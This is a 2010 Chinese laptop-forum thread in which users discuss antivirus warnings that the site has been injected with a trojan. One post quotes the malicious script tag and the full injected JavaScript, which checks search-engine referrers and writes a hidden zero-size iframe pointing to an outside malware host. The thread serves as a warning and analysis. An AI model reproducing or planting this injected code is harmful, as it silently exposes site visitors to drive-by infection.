wbxuan 发表于 2010-6-24 22:54

【贴图】360老是提示挂了木马，怎么回事?

360老是提示挂了木马，怎么回事?

georgefan 发表于 2010-6-24 23:17

确实挂 马了，似乎马又被放跑了。
相关的贴子被删除了，我这里还保存了主贴的内容 ：

http://bbs.micropoint.com.cn/showthread.asp?tid=71792&fpage=1

georgefan 发表于 2010-6-24 23:17

如果51nb网站没被挂木马 这句代码是什么意思?木马清除掉了,但是 ?

如果你们网站没被挂木马

<script src=http://union.7pk.com/tmp/51nb.gif?¨></script>

这句代码是什么意思?

广告挂多了?

查看办法
查看网页原文件

请各位尽快杀毒 如果杀毒软件没有报错 尽快更换杀毒软件

尽快修改各种密码 或临时挂失各种账户


推荐管理员尽快暂停网站

损失几天广告费无所谓

用户损失几百万可就赔不起啦


最奇怪的是 论坛的版主 居然公开场合发布如何关闭安全软件提示本论坛有病毒木马
莫非是有意挂木马?
http://www.ibmnb.com/thread-970042-1-1.html


不良代码具体内容如下:

var url=document.referrer;
var p=url.toLowerCase().indexOf(".baidu.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".google.com.hk");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".sogou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".soso.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".gougou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".118114.cn");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".bing.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".youdao.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".yahoo.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}

joyonchina 发表于 2010-6-24 23:28

怀疑帝

你可以不上的

wbxuan 发表于 2010-6-24 23:50

楼上的，不是这个意思，老是提示，心里终归有些不踏实的

johnbean 发表于 2010-6-25 00:55

要确认也得弄个小红伞呀，麦咖啡的提示才算吧？国内的，不太相信。

wslpc 发表于 2010-6-25 09:21

Posted by wbxuan on 2010-6-24 23:50 http://www.ibmnb.com/images/common/back.gif
楼上的，不是这个意思，老是提示，心里终归有些不踏实的
用360得永生

阿森纳雄起 发表于 2010-6-25 11:23

等管理员来解答解答

aznarble 发表于 2010-6-26 23:27

Posted by georgefan on 2010-6-24 23:17 http://www.ibmnb.com/images/common/back.gif
如果51nb网站没被挂木马 这句代码是什么意思?木马清除掉了,但是 ?

如果你们网站没被挂木马



这句代码是什么意思?

广告挂多了?

查看办法
查看网页原文件

请各位尽快杀毒 如果杀毒软件没有报 ...

union.7pk.com domain ip address is: 221.123.176.30
查询结果： 221.123.176.30   -北京市

以下权威资料由国际IP管理机构apnic提供:
221.123.176.30
CN 中国
CECT-CHINACOMM COMMUNICATIONS Co.,Ltd.
INTERNET COMMUNICATIONS

marione 发表于 2010-6-26 23:41

360说的你也信？以前也就用360打补丁，现在也不用了

LIBM 发表于 2010-6-27 00:12

wombat 发表于 2010-6-27 07:08

360 ……

用什么不好，要用这个
趁早卸载掉吧

c@ini@o 发表于 2010-6-27 11:20

360，3721新马甲:D
页: [1]
查看完整版本: 【贴图】360老是提示挂了木马，怎么回事?